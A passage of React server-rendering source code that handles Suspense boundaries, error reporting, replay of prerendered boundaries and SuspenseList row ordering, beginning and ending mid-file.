null) {\n    switch ((node: any).$$typeof) {\n      case REACT_ELEMENT_TYPE: {\n        const element: any = node;\n        const type = element.type;\n        const owner = __DEV__ ? element._owner : null;\n        const stack = __DEV__ ? element._debugStack : null;\n        if (__DEV__) {\n          pushServerComponentStack(task, element._debugInfo);\n          task.debugTask = element._debugTask;\n        }\n        task.componentStack = createComponentStackFromType(\n          task.componentStack,\n          type,\n          owner,\n          stack,\n        );\n        break;\n      }\n      case REACT_LAZY_TYPE: {\n        if (__DEV__) {\n          const lazyNode: LazyComponentType<any, any> = (node: any);\n          pushServerComponentStack(task, lazyNode._debugInfo);\n        }\n        break;\n      }\n      default: {\n        if (__DEV__) {\n          const maybeUsable: Object = node;\n          if (typeof maybeUsable.then === 'function') {\n            const thenable: Thenable<ReactNodeList> = (maybeUsable: any);\n            pushServerComponentStack(task, thenable._debugInfo);\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction createComponentStackFromType(\n  parent: null | ComponentStackNode,\n  type: Function | string | symbol,\n  owner: void | null | ReactComponentInfo | ComponentStackNode, // DEV only\n  stack: void | null | string | Error, // DEV only\n): ComponentStackNode {\n  if (__DEV__) {\n    return {\n      parent,\n      type,\n      owner,\n      stack,\n    };\n  }\n  return {\n    parent,\n    type,\n  };\n}\n\nfunction replaceSuspenseComponentStackWithSuspenseFallbackStack(\n  componentStack: null | ComponentStackNode,\n): null | ComponentStackNode {\n  if (componentStack === null) {\n    return null;\n  }\n  return createComponentStackFromType(\n    componentStack.parent,\n    'Suspense Fallback',\n    __DEV__ ? componentStack.owner : null,\n    __DEV__ ? componentStack.stack : null,\n  );\n}\n\ntype ThrownInfo = {\n  componentStack?: string,\n};\nexport type ErrorInfo = ThrownInfo;\n\nfunction getThrownInfo(node: null | ComponentStackNode): ThrownInfo {\n  const errorInfo: ThrownInfo = {};\n  if (node) {\n    Object.defineProperty(errorInfo, 'componentStack', {\n      configurable: true,\n      enumerable: true,\n      get() {\n        // Lazyily generate the stack since it's expensive.\n        const stack = getStackFromNode(node);\n        Object.defineProperty(errorInfo, 'componentStack', {\n          value: stack,\n        });\n        return stack;\n      },\n    });\n  }\n  return errorInfo;\n}\n\nfunction encodeErrorForBoundary(\n  boundary: SuspenseBoundary,\n  digest: ?string,\n  error: mixed,\n  thrownInfo: ThrownInfo,\n  wasAborted: boolean,\n) {\n  boundary.errorDigest = digest;\n  if (__DEV__) {\n    let message, stack;\n    // In dev we additionally encode the error message and component stack on the boundary\n    if (error instanceof Error) {\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      message = String(error.message);\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      stack = String(error.stack);\n    } else if (typeof error === 'object' && error !== null) {\n      message = describeObjectForErrorMessage(error);\n      stack = null;\n    } else {\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      message = String(error);\n      stack = null;\n    }\n    const prefix = wasAborted\n      ? 'Switched to client rendering because the server rendering aborted due to:\\n\\n'\n      : 'Switched to client rendering because the server rendering errored:\\n\\n';\n    boundary.errorMessage = prefix + message;\n    boundary.errorStack = stack !== null ? prefix + stack : null;\n    boundary.errorComponentStack = thrownInfo.componentStack;\n  }\n}\n\nfunction logRecoverableError(\n  request: Request,\n  error: any,\n  errorInfo: ThrownInfo,\n  debugTask: null | ConsoleTask,\n): ?string {\n  // If this callback errors, we intentionally let that error bubble up to become a fatal error\n  // so that someone fixes the error reporting instead of hiding it.\n  const onError = request.onError;\n  const errorDigest =\n    __DEV__ && debugTask\n      ? debugTask.run(onError.bind(null, error, errorInfo))\n      : onError(error, errorInfo);\n  if (errorDigest != null && typeof errorDigest !== 'string') {\n    // We used to throw here but since this gets called from a variety of unprotected places it\n    // seems better to just warn and discard the returned value.\n    if (__DEV__) {\n      console.error(\n        'onError returned something with a type other than \"string\". onError should return a string and may return null or undefined but must not return anything else. It received something of type \"%s\" instead',\n        typeof errorDigest,\n      );\n    }\n    return;\n  }\n  return errorDigest;\n}\n\nfunction fatalError(\n  request: Request,\n  error: mixed,\n  errorInfo: ThrownInfo,\n  debugTask: null | ConsoleTask,\n): void {\n  // This is called outside error handling code such as if the root errors outside\n  // a suspense boundary or if the root suspense boundary's fallback errors.\n  // It's also called if React itself or its host configs errors.\n  const onShellError = request.onShellError;\n  const onFatalError = request.onFatalError;\n  if (__DEV__ && debugTask) {\n    debugTask.run(onShellError.bind(null, error));\n    debugTask.run(onFatalError.bind(null, error));\n  } else {\n    onShellError(error);\n    onFatalError(error);\n  }\n  if (request.destination !== null) {\n    request.status = CLOSED;\n    closeWithError(request.destination, error);\n  } else {\n    request.status = CLOSING;\n    request.fatalError = error;\n  }\n}\n\nfunction renderSuspenseBoundary(\n  request: Request,\n  someTask: Task,\n  keyPath: KeyNode,\n  props: SuspenseProps,\n): void {\n  if (someTask.replay !== null) {\n    // If we're replaying through this pass, it means we're replaying through\n    // an already completed Suspense boundary. It's too late to do anything about it\n    // so we can just render through it.\n    const prevKeyPath = someTask.keyPath;\n    const prevContext = someTask.formatContext;\n    const prevRow = someTask.row;\n    someTask.keyPath = keyPath;\n    someTask.formatContext = getSuspenseContentFormatContext(\n      request.resumableState,\n      prevContext,\n    );\n    someTask.row = null;\n    const content: ReactNodeList = props.children;\n    try {\n      renderNode(request, someTask, content, -1);\n    } finally {\n      someTask.keyPath = prevKeyPath;\n      someTask.formatContext = prevContext;\n      someTask.row = prevRow;\n    }\n    return;\n  }\n  // $FlowFixMe: Refined.\n  const task: RenderTask = someTask;\n\n  const prevKeyPath = task.keyPath;\n  const prevContext = task.formatContext;\n  const prevRow = task.row;\n  const parentBoundary = task.blockedBoundary;\n  const parentPreamble = task.blockedPreamble;\n  const parentHoistableState = task.hoistableState;\n  const parentSegment = task.blockedSegment;\n\n  // Each time we enter a suspense boundary, we split out into a new segment for\n  // the fallback so that we can later replace that segment with the content.\n  // This also lets us split out the main content even if it doesn't suspend,\n  // in case it ends up generating a large subtree of content.\n  const fallback: ReactNodeList = props.fallback;\n  const content: ReactNodeList = props.children;\n  const defer: boolean = enableCPUSuspense && props.defer === true;\n\n  const fallbackAbortSet: Set<Task> = new Set();\n  const newBoundary = createSuspenseBoundary(\n    request,\n    task.row,\n    fallbackAbortSet,\n    canHavePreamble(task.formatContext) ? createPreamble() : null,\n    defer,\n  );\n\n  const insertionIndex = parentSegment.chunks.length;\n  // The children of the boundary segment is actually the fallback.\n  const boundarySegment = createPendingSegment(\n    request,\n    insertionIndex,\n    newBoundary,\n    task.formatContext,\n    // boundaries never require text embedding at their edges because comment nodes bound them\n    false,\n    false,\n  );\n  parentSegment.children.push(boundarySegment);\n  // The parentSegment has a child Segment at this index so we reset the lastPushedText marker on the parent\n  parentSegment.lastPushedText = false;\n\n  // This segment is the actual child content. We can start rendering that immediately.\n  const contentRootSegment = createPendingSegment(\n    request,\n    0,\n    null,\n    task.formatContext,\n    // boundaries never require text embedding at their edges because comment nodes bound them\n    false,\n    false,\n  );\n  // We mark the root segment as having its parent flushed. It's not really flushed but there is\n  // no parent segment so there's nothing to wait on.\n  contentRootSegment.parentFlushed = true;\n\n  const trackedPostpones = request.trackedPostpones;\n  if (trackedPostpones !== null || defer) {\n    // This is a prerender or deferred boundary. In this mode we want to render the fallback synchronously\n    // and schedule the content to render later. This is the opposite of what we do during a normal render\n    // where we try to skip rendering the fallback if the content itself can render synchronously\n\n    // Stash the original stack frame.\n    const suspenseComponentStack = task.componentStack;\n\n    const fallbackKeyPath: KeyNode = [\n      keyPath[0],\n      'Suspense Fallback',\n      keyPath[2],\n    ];\n    if (trackedPostpones !== null) {\n      const fallbackReplayNode: ReplayNode = [\n        fallbackKeyPath[1],\n        fallbackKeyPath[2],\n        ([]: Array<ReplayNode>),\n        null,\n      ];\n      trackedPostpones.workingMap.set(fallbackKeyPath, fallbackReplayNode);\n      newBoundary.tracked = {\n        contentKeyPath: keyPath,\n        // We are rendering the fallback before the boundary content so we keep track of\n        // the fallback replay node until we determine if the primary content suspends\n        fallbackNode: fallbackReplayNode,\n      };\n    }\n\n    task.blockedSegment = boundarySegment;\n    task.blockedPreamble =\n      newBoundary.preamble === null ? null : newBoundary.preamble.fallback;\n    task.keyPath = fallbackKeyPath;\n    task.formatContext = getSuspenseFallbackFormatContext(\n      request.resumableState,\n      prevContext,\n    );\n    task.componentStack =\n      replaceSuspenseComponentStackWithSuspenseFallbackStack(\n        suspenseComponentStack,\n      );\n    boundarySegment.status = RENDERING;\n    try {\n      renderNode(request, task, fallback, -1);\n      pushSegmentFinale(\n        boundarySegment.chunks,\n        request.renderState,\n        boundarySegment.lastPushedText,\n        boundarySegment.textEmbedded,\n      );\n      boundarySegment.status = COMPLETED;\n      finishedSegment(request, parentBoundary, boundarySegment);\n    } catch (thrownValue: mixed) {\n      if (request.status === ABORTING) {\n        boundarySegment.status = ABORTED;\n      } else {\n        boundarySegment.status = ERRORED;\n      }\n      throw thrownValue;\n    } finally {\n      task.blockedSegment = parentSegment;\n      task.blockedPreamble = parentPreamble;\n      task.keyPath = prevKeyPath;\n      task.formatContext = prevContext;\n    }\n\n    // We create a suspended task for the primary content because we want to allow\n    // sibling fallbacks to be rendered first.\n    const suspendedPrimaryTask = createRenderTask(\n      request,\n      null,\n      content,\n      -1,\n      newBoundary,\n      contentRootSegment,\n      newBoundary.preamble === null ? null : newBoundary.preamble.content,\n      newBoundary.contentState,\n      task.abortSet,\n      keyPath,\n      getSuspenseContentFormatContext(\n        request.resumableState,\n        task.formatContext,\n      ),\n      task.context,\n      task.treeContext,\n      null, // The row gets reset inside the Suspense boundary.\n      suspenseComponentStack,\n      !disableLegacyContext ? task.legacyContext : emptyContextObject,\n      __DEV__ ? task.debugTask : null,\n    );\n    pushComponentStack(suspendedPrimaryTask);\n    request.pingedTasks.push(suspendedPrimaryTask);\n  } else {\n    // This is a normal render. We will attempt to synchronously render the boundary content\n    // If it is successful we will elide the fallback task but if it suspends or errors we schedule\n    // the fallback to render. Unlike with prerenders we attempt to deprioritize the fallback render\n\n    // Currently this is running synchronously. We could instead schedule this to pingedTasks.\n    // I suspect that there might be some efficiency benefits from not creating the suspended task\n    // and instead just using the stack if possible.\n    // TODO: Call this directly instead of messing with saving and restoring contexts.\n\n    // We can reuse the current context and task to render the content immediately without\n    // context switching. We just need to temporarily switch which boundary and which segment\n    // we're writing to. If something suspends, it'll spawn new suspended task with that context.\n    task.blockedBoundary = newBoundary;\n    task.blockedPreamble =\n      newBoundary.preamble === null ? null : newBoundary.preamble.content;\n    task.hoistableState = newBoundary.contentState;\n    task.blockedSegment = contentRootSegment;\n    task.keyPath = keyPath;\n    task.formatContext = getSuspenseContentFormatContext(\n      request.resumableState,\n      prevContext,\n    );\n    task.row = null;\n    contentRootSegment.status = RENDERING;\n\n    try {\n      // We use the safe form because we don't handle suspending here. Only error handling.\n      renderNode(request, task, content, -1);\n      pushSegmentFinale(\n        contentRootSegment.chunks,\n        request.renderState,\n        contentRootSegment.lastPushedText,\n        contentRootSegment.textEmbedded,\n      );\n      contentRootSegment.status = COMPLETED;\n      finishedSegment(request, newBoundary, contentRootSegment);\n      queueCompletedSegment(newBoundary, contentRootSegment);\n      if (newBoundary.pendingTasks === 0 && newBoundary.status === PENDING) {\n        // This must have been the last segment we were waiting on. This boundary is now complete.\n        newBoundary.status = COMPLETED;\n        // Therefore we won't need the fallback. We early return so that we don't have to create\n        // the fallback. However, if this boundary ended up big enough to be eligible for outlining\n        // we can't do that because we might still need the fallback if we outline it.\n        if (!isEligibleForOutlining(request, newBoundary)) {\n          if (prevRow !== null) {\n            // If we have synchronously completed the boundary and it's not eligible for outlining\n            // then we don't have to wait for it to be flushed before we unblock future rows.\n            // This lets us inline small rows in order.\n            if (--prevRow.pendingTasks === 0) {\n              finishSuspenseListRow(request, prevRow);\n            }\n          }\n          if (request.pendingRootTasks === 0 && task.blockedPreamble) {\n            // The root is complete and this boundary may contribute part of the preamble.\n            // We eagerly attempt to prepare the preamble here because we expect most requests\n            // to have few boundaries which contribute preambles and it allow us to do this\n            // preparation work during the work phase rather than the when flushing.\n            preparePreamble(request);\n          }\n          return;\n        }\n      } else {\n        const boundaryRow = prevRow;\n        if (boundaryRow !== null && boundaryRow.together) {\n          tryToResolveTogetherRow(request, boundaryRow);\n        }\n      }\n    } catch (thrownValue: mixed) {\n      newBoundary.status = CLIENT_RENDERED;\n      let error: mixed;\n      if (request.status === ABORTING) {\n        contentRootSegment.status = ABORTED;\n        error = request.fatalError;\n      } else {\n        contentRootSegment.status = ERRORED;\n        error = thrownValue;\n      }\n\n      const thrownInfo = getThrownInfo(task.componentStack);\n      const errorDigest = logRecoverableError(\n        request,\n        error,\n        thrownInfo,\n        __DEV__ ? task.debugTask : null,\n      );\n      encodeErrorForBoundary(\n        newBoundary,\n        errorDigest,\n        error,\n        thrownInfo,\n        false,\n      );\n\n      untrackBoundary(request, newBoundary);\n\n      // We don't need to decrement any task numbers because we didn't spawn any new task.\n      // We don't need to schedule any task because we know the parent has written yet.\n      // We do need to fallthrough to create the fallback though.\n    } finally {\n      task.blockedBoundary = parentBoundary;\n      task.blockedPreamble = parentPreamble;\n      task.hoistableState = parentHoistableState;\n      task.blockedSegment = parentSegment;\n      task.keyPath = prevKeyPath;\n      task.formatContext = prevContext;\n      task.row = prevRow;\n    }\n\n    const fallbackKeyPath: KeyNode = [\n      keyPath[0],\n      'Suspense Fallback',\n      keyPath[2],\n    ];\n    // We create suspended task for the fallback because we don't want to actually work\n    // on it yet in case we finish the main content, so we queue for later.\n    const suspendedFallbackTask = createRenderTask(\n      request,\n      null,\n      fallback,\n      -1,\n      parentBoundary,\n      boundarySegment,\n      newBoundary.preamble === null ? null : newBoundary.preamble.fallback,\n      newBoundary.fallbackState,\n      fallbackAbortSet,\n      fallbackKeyPath,\n      getSuspenseFallbackFormatContext(\n        request.resumableState,\n        task.formatContext,\n      ),\n      task.context,\n      task.treeContext,\n      task.row,\n      replaceSuspenseComponentStackWithSuspenseFallbackStack(\n        task.componentStack,\n      ),\n      !disableLegacyContext ? task.legacyContext : emptyContextObject,\n      __DEV__ ? task.debugTask : null,\n    );\n    pushComponentStack(suspendedFallbackTask);\n    // TODO: This should be queued at a separate lower priority queue so that we only work\n    // on preparing fallbacks if we don't have any more main content to task on.\n    request.pingedTasks.push(suspendedFallbackTask);\n  }\n}\n\nfunction replaySuspenseBoundary(\n  request: Request,\n  task: ReplayTask,\n  keyPath: KeyNode,\n  props: Object,\n  id: number,\n  childNodes: Array<ReplayNode>,\n  childSlots: ResumeSlots,\n  fallbackNodes: Array<ReplayNode>,\n  fallbackSlots: ResumeSlots,\n): void {\n  const prevKeyPath = task.keyPath;\n  const prevContext = task.formatContext;\n  const prevRow = task.row;\n  const previousReplaySet: ReplaySet = task.replay;\n\n  const parentBoundary = task.blockedBoundary;\n  const parentHoistableState = task.hoistableState;\n\n  const content: ReactNodeList = props.children;\n  const fallback: ReactNodeList = props.fallback;\n  const defer: boolean = enableCPUSuspense && props.defer === true;\n\n  const fallbackAbortSet: Set<Task> = new Set();\n  const resumedBoundary = createSuspenseBoundary(\n    request,\n    task.row,\n    fallbackAbortSet,\n    canHavePreamble(task.formatContext) ? createPreamble() : null,\n    defer,\n  );\n  resumedBoundary.parentFlushed = true;\n  // We restore the same id of this boundary as was used during prerender.\n  resumedBoundary.rootSegmentID = id;\n\n  // We can reuse the current context and task to render the content immediately without\n  // context switching. We just need to temporarily switch which boundary and replay node\n  // we're writing to. If something suspends, it'll spawn new suspended task with that context.\n  task.blockedBoundary = resumedBoundary;\n  task.hoistableState = resumedBoundary.contentState;\n  task.keyPath = keyPath;\n  task.formatContext = getSuspenseContentFormatContext(\n    request.resumableState,\n    prevContext,\n  );\n  task.row = null;\n  task.replay = {nodes: childNodes, slots: childSlots, pendingTasks: 1};\n\n  try {\n    // We use the safe form because we don't handle suspending here. Only error handling.\n    renderNode(request, task, content, -1);\n\n    if (task.replay.pendingTasks === 1 && task.replay.nodes.length > 0) {\n      throw new Error(\n        \"Couldn't find all resumable slots by key/index during replaying. \" +\n          \"The tree doesn't match so React will fallback to client rendering.\",\n      );\n    }\n    task.replay.pendingTasks--;\n    if (\n      resumedBoundary.pendingTasks === 0 &&\n      resumedBoundary.status === PENDING\n    ) {\n      // This must have been the last segment we were waiting on. This boundary is now complete.\n      // Therefore we won't need the fallback. We early return so that we don't have to create\n      // the fallback.\n      resumedBoundary.status = COMPLETED;\n      request.completedBoundaries.push(resumedBoundary);\n      // We restore the parent componentStack. Semantically this is the same as\n      // popComponentStack(task) but we do this instead because it should be slightly\n      // faster\n      return;\n    }\n  } catch (error: mixed) {\n    resumedBoundary.status = CLIENT_RENDERED;\n    const thrownInfo = getThrownInfo(task.componentStack);\n    const errorDigest = logRecoverableError(\n      request,\n      error,\n      thrownInfo,\n      __DEV__ ? task.debugTask : null,\n    );\n    encodeErrorForBoundary(\n      resumedBoundary,\n      errorDigest,\n      error,\n      thrownInfo,\n      false,\n    );\n\n    task.replay.pendingTasks--;\n\n    // The parent already flushed in the prerender so we need to schedule this to be emitted.\n    request.clientRenderedBoundaries.push(resumedBoundary);\n\n    // We don't need to decrement any task numbers because we didn't spawn any new task.\n    // We don't need to schedule any task because we know the parent has written yet.\n    // We do need to fallthrough to create the fallback though.\n  } finally {\n    task.blockedBoundary = parentBoundary;\n    task.hoistableState = parentHoistableState;\n    task.replay = previousReplaySet;\n    task.keyPath = prevKeyPath;\n    task.formatContext = prevContext;\n    task.row = prevRow;\n  }\n\n  const fallbackKeyPath: KeyNode = [\n    keyPath[0],\n    'Suspense Fallback',\n    keyPath[2],\n  ];\n\n  // We create suspended task for the fallback because we don't want to actually work\n  // on it yet in case we finish the main content, so we queue for later.\n  const fallbackReplay = {\n    nodes: fallbackNodes,\n    slots: fallbackSlots,\n    pendingTasks: 0,\n  };\n  const suspendedFallbackTask = createReplayTask(\n    request,\n    null,\n    fallbackReplay,\n    fallback,\n    -1,\n    parentBoundary,\n    resumedBoundary.fallbackState,\n    fallbackAbortSet,\n    fallbackKeyPath,\n    getSuspenseFallbackFormatContext(\n      request.resumableState,\n      task.formatContext,\n    ),\n    task.context,\n    task.treeContext,\n    task.row,\n    replaceSuspenseComponentStackWithSuspenseFallbackStack(task.componentStack),\n    !disableLegacyContext ? task.legacyContext : emptyContextObject,\n    __DEV__ ? task.debugTask : null,\n  );\n\n  pushComponentStack(suspendedFallbackTask);\n  // TODO: This should be queued at a separate lower priority queue so that we only work\n  // on preparing fallbacks if we don't have any more main content to task on.\n  request.pingedTasks.push(suspendedFallbackTask);\n}\n\nfunction finishSuspenseListRow(request: Request, row: SuspenseListRow): void {\n  // This row finished. Now we have to unblock all the next rows that were blocked on this.\n  unblockSuspenseListRow(request, row.next, row.hoistables);\n}\n\nfunction unblockSuspenseListRow(\n  request: Request,\n  unblockedRow: null | SuspenseListRow,\n  inheritedHoistables: null | HoistableState,\n): void {\n  // We do this in a loop to avoid stack overflow for very long lists that get unblocked.\n  while (unblockedRow !== null) {\n    if (inheritedHoistables !== null) {\n      // Hoist any hoistables from the previous row into the next row so that it can be\n      // later transferred to all the rows.\n      hoistHoistables(unblockedRow.hoistables, inheritedHoistables);\n      // Mark the row itself for any newly discovered Suspense boundaries to inherit.\n      // This is different from hoistables because that also includes hoistables from\n      // all the boundaries below this row and not just previous rows.\n      unblockedRow.inheritedHoistables = inheritedHoistables;\n    }\n    // Unblocking the boundaries will decrement the count of this row but we keep it above\n    // zero so they never finish this row recursively.\n    const unblockedBoundaries = unblockedRow.boundaries;\n    if (unblockedBoundaries !== null) {\n      unblockedRow.boundaries = null;\n      for (let i = 0; i < unblockedBoundaries.length; i++) {\n        const unblockedBoundary = unblockedBoundaries[i];\n        if (inheritedHoistables !== null) {\n          hoistHoistables(unblockedBoundary.contentState, inheritedHoistables);\n        }\n        finishedTask(request, unblockedBoundary, null, null);\n      }\n    }\n    // Instead we decrement at the end to keep it all in this loop.\n    unblockedRow.pendingTasks--;\n    if (unblockedRow.pendingTasks > 0) {\n      // Still blocked.\n      break;\n    }\n    inheritedHoistables = unblockedRow.hoistables;\n    unblockedRow = unblockedRow.next;\n  }\n}\n\nfunction trackPostponedSuspenseListRow(\n  request: Request,\n  trackedPostpones: PostponedHoles,\n  postponedRow: null | SuspenseListRow,\n): void {\n  // TODO: Because we unconditionally call this, it will be called by finishedTask\n  // and so ends up recursive which can lead to stack overflow for very long lists.\n  if (postponedRow !== null) {\n    const postponedBoundaries = postponedRow.boundaries;\n    if (postponedBoundaries !== null) {\n      postponedRow.boundaries = null;\n      for (let i = 0; i < postponedBoundaries.length; i++) {\n        const postponedBoundary = postponedBoundaries[i];\n        trackPostponedBoundary(request, trackedPostpones, postponedBoundary);\n        finishedTask(request, postponedBoundary, null, null);\n      }\n    }\n  }\n}\n\nfunction tryToResolveTogetherRow(\n  request: Request,\n  togetherRow: SuspenseListRow,\n): void {\n  // If we have a \"together\" row and all the pendingTasks are really the boundaries themselves,\n  // and we won't outline any of them then we can unblock this row early so that we can inline\n  // all the boundaries at once.\n  const boundaries = togetherRow.boundaries;\n  if (boundaries === null || togetherRow.pendingTasks !== boundaries.length) {\n    return;\n  }\n  let allCompleteAndInlinable = true;\n  for (let i = 0; i < boundaries.length; i++) {\n    const rowBoundary = boundaries[i];\n    if (\n      rowBoundary.pendingTasks !== 1 ||\n      rowBoundary.parentFlushed ||\n      isEligibleForOutlining(request, rowBoundary)\n    ) {\n      allCompleteAndInlinable = false;\n      break;\n    }\n  }\n  if (allCompleteAndInlinable) {\n    unblockSuspenseListRow(request, togetherRow, togetherRow.hoistables);\n  }\n}\n\nfunction createSuspenseListRow(\n  previousRow: null | SuspenseListRow,\n): SuspenseListRow {\n  const newRow: SuspenseListRow = {\n    pendingTasks: 1, // At first the row is blocked on attempting rendering itself.\n    boundaries: null,\n    hoistables: createHoistableState(),\n    inheritedHoistables: null,\n    together: false,\n    next: null,\n  };\n  if (previousRow !== null && previousRow.pendingTasks > 0) {\n    // If the previous row is not done yet, we add ourselves to be blocked on it.\n    // When it finishes, we'll decrement our pending tasks.\n    newRow.pendingTasks++;\n    newRow.boundaries = [];\n    previousRow.next = newRow;\n  }\n  return newRow;\n}\n\nfunction renderSuspenseListRows(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  rows: Array<ReactNodeList>,\n  revealOrder: void | 'forwards' | 'backwards' | 'unstable_legacy-backwards',\n): void {\n  // This is a fork of renderChildrenArray that's aware of tracking rows.\n  const prevKeyPath = task.keyPath;\n  const prevTreeContext = task.treeContext;\n  const prevRow = task.row;\n  const previousComponentStack = task.componentStack;\n  let previousDebugTask = null;\n  if (__DEV__) {\n    previousDebugTask = task.debugTask;\n    // We read debugInfo from task.node.props.children instead of rows because it\n    // might have been an unwrapped iterable so we read from the original node.\n    pushServerComponentStack(task, (task.node: any).props.children._debugInfo);\n  }\n\n  task.keyPath = keyPath;\n\n  const totalChildren = rows.length;\n  let previousSuspenseListRow: null | SuspenseListRow = null;\n  if (task.replay !== null) {\n    // Replay\n    // First we need to check if we have any resume slots at this level.\n    const resumeSlots = task.replay.slots;\n    if (resumeSlots !== null && typeof resumeSlots === 'object') {\n      for (let n = 0; n < totalChildren; n++) {\n        // Since we are going to resume into a slot whose order was already\n        // determined by the prerender, we can safely resume it even in reverse\n        // render order.\n        const i =\n          revealOrder !== 'backwards' &&\n          revealOrder !== 'unstable_legacy-backwards'\n            ? n\n            : totalChildren - 1 - n;\n        const node = rows[i];\n        task.row = previousSuspenseListRow = createSuspenseListRow(\n          previousSuspenseListRow,\n        );\n        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);\n        const resumeSegmentID = resumeSlots[i];\n        // TODO: If this errors we should still continue with the next sibling.\n        if (typeof resumeSegmentID === 'number') {\n          resumeNode(request, task, resumeSegmentID, node, i);\n          // We finished rendering this node, so now we can consume this\n          // slot. This must happen after in case we rerender this task.\n          delete resumeSlots[i];\n        } else {\n          renderNode(request, task, node, i);\n        }\n        if (--previousSuspenseListRow.pendingTasks === 0) {\n          finishSuspenseListRow(request, previousSuspenseListRow);\n        }\n      }\n    } else {\n      for (let n = 0; n < totalChildren; n++) {\n        // Since we are going to resume into a slot whose order was already\n        // determined by the prerender, we can safely resume it even in reverse\n        // render order.\n        const i =\n          revealOrder !== 'backwards' &&\n          revealOrder !== 'unstable_legacy-backwards'\n            ? n\n            : totalChildren - 1 - n;\n        const node = rows[i];\n        if (__DEV__) {\n          warnForMissingKey(request, task, node);\n        }\n        task.row = previousSuspenseListRow = createSuspenseListRow(\n          previousSuspenseListRow,\n        );\n        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);\n        renderNode(request, task, node, i);\n        if (--previousSuspenseListRow.pendingTasks === 0) {\n          finishSuspenseListRow(request, previousSuspenseListRow);\n        }\n      }\n    }\n  } else {\n    task = ((task: any): RenderTask); // Refined\n    if (\n      revealOrder !== 'backwards' &&\n      revealOrder !== 'unstable_legacy-backwards'\n    ) {\n      // Forwards direction\n      for (let i = 0; i < totalChildren; i++) {\n        const node = rows[i];\n        if (__DEV__) {\n          warnForMissingKey(request, task, node);\n        }\n        task.row = previousSuspenseListRow = createSuspenseListRow(\n          previousSuspenseListRow,\n        );\n        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);\n        renderNode(request, task, node, i);\n        if (--previousSuspenseListRow.pendingTasks === 0) {\n          finishSuspenseListRow(request, previousSuspenseListRow);\n        }\n      }\n    } else {\n      // For backwards direction we need to do things a bit differently.\n      // We give each row its own segment so that we can render the content in\n      // reverse order but still emit it in the right order when we flush.\n      const parentSegment = task.blockedSegment;\n      const childIndex = parentSegment.children.length;\n      const insertionIndex = parentSegment.chunks.length;\n      for (let n = 0; n < totalChildren; n++) {\n        const i =\n          revealOrder === 'unstable_legacy-backwards'\n            ? totalChildren - 1 - n\n            : n;\n        const node = rows[i];\n        task.row = previousSuspenseListRow = createSuspenseListRow(\n          previousSuspenseListRow,\n        );\n        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);\n        const newSegment = createPendingSegment(\n          request,\n          insertionIndex,\n          null,\n          task.formatContext,\n          // Assume we are text embedded at the trailing edges\n          i === 0 ? parentSegment.lastPushedText : true,\n          true,\n        );\n        // Insert in the beginning of the sequence, which will insert before any previous rows.\n        parentSegment.children.splice(childIndex, 0, newSegment);\n        task.blockedSegment = newSegment;\n        if (__DEV__) {\n          warnForMissingKey(request, task, node);\n        }\n        try {\n          renderNode(request, task, node, i);\n          pushSegmentFinale(\n            newSegment.chunks,\n            request.renderState,\n            newSegment.lastPushedText,\n            newSegment.textEmbedded,\n          );\n          newSegment.status = COMPLETED;\n          finishedSegment(request, task.blockedBoundary, newSegment);\n          if (--previousSuspenseListRow.pendingTasks === 0) {\n            finishSuspenseListRow(request, previousSuspenseListRow);\n          }\n        } catch (thrownValue: mixed) {\n          if (request.status === ABORTING) {\n            newSegment.status = ABORTED;\n          } else {\n            newSegment.status = ERRORED;\n          }\n          throw thrownValue;\n        }\n      }\n      task.blockedSegment = parentSegment;\n      // Reset lastPushedText for current Segment since the new Segments \"consumed\" it\n      parentSegment.lastPushedText = false;\n    }\n  }\n\n  if (\n    prevRow !== null &&\n    previousSuspenseListRow !== null &&\n    previousSuspenseListRow.pendingTasks > 0\n  ) {\n    // If we are part of an outer SuspenseList and our last row is still pending, then that blocks\n    // the parent row from completing. We can continue the chain.\n    prevRow.pendingTasks++;\n    previousSuspenseListRow.next = prevRow;\n  }\n\n  // Because this context is always set right before rendering every child, we\n  // only need to reset it to the previous value at the very end.\n  task.treeContext = prevTreeContext;\n  task.row = prevRow;\n  task.keyPath = prevKeyPath;\n  if (__DEV__) {\n    task.componentStack = previousComponentStack;\n    task.debugTask = previousDebugTask;\n  }\n}\n\nfunction renderSuspenseList(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  props: SuspenseListProps,\n): void {\n  const children: any = props.children;\n  const revealOrder: SuspenseListRevealOrder = props.revealOrder;\n  // TODO: Support tail hidden/collapsed modes.\n  // const tailMode: SuspenseListTailMode = props.tail;\n  if (revealOrder !== 'independent' && revealOrder !== 'together') {\n    // For ordered reveal, we need to produce rows from the children.\n    if (isArray(children)) {\n      renderSuspenseListRows(request, task, keyPath, children, revealOrder);\n      return;\n    }\n    const iteratorFn = getIteratorFn(children);\n    if (iteratorFn) {\n      const iterator = iteratorFn.call(children);\n      if (iterator) {\n        if (__DEV__) {\n          validateIterable(task, children, -1, iterator, iteratorFn);\n        }\n        // TODO: We currently use the same id algorithm as regular nodes\n        // but we need a new algorithm for SuspenseList that doesn't require\n        // a full set to be loaded up front to support Async Iterable.\n        // When we have that, we shouldn't buffer anymore.\n        let step = iterator.next();\n        if (!step.done) {\n          const rows = [];\n          do {\n            rows.push(step.value);\n            step = iterator.next();\n          } while (!step.done);\n          renderSuspenseListRows(request, task, keyPath, children, revealOrder);\n        }\n        return;\n      }\n    }\n    if (\n      enableAsyncIterableChildren &&\n      typeof (children: any)[ASYNC_ITERATOR] === 'function'\n    ) {\n      const iterator: AsyncIterator<ReactNodeList> = (children: any)[\n        ASYNC_ITERATOR\n      ]();\n      if (iterator) {\n        if (__DEV__) {\n          validateAsyncIterable(task, (children: any), -1, iterator);\n        }\n        // TODO: Update the task.children to be the iterator to avoid asking\n        // for new iterators, but we currently warn for rendering these\n        // so needs some refactoring to deal with the warning.\n\n        // Restore the thenable state before resuming.\n        const prevThenableState = task.thenableState;\n        task.thenableState = null;\n        prepareToUseThenableState(prevThenableState);\n\n        // We need to know how many total rows are in this set, so that we\n        // can allocate enough id slots to acommodate them. So we must exhaust\n        // the iterator before we start recursively rendering the rows.\n        // TODO: This is not great but I think it's inherent to the id\n        // generation algorithm.\n\n        const rows 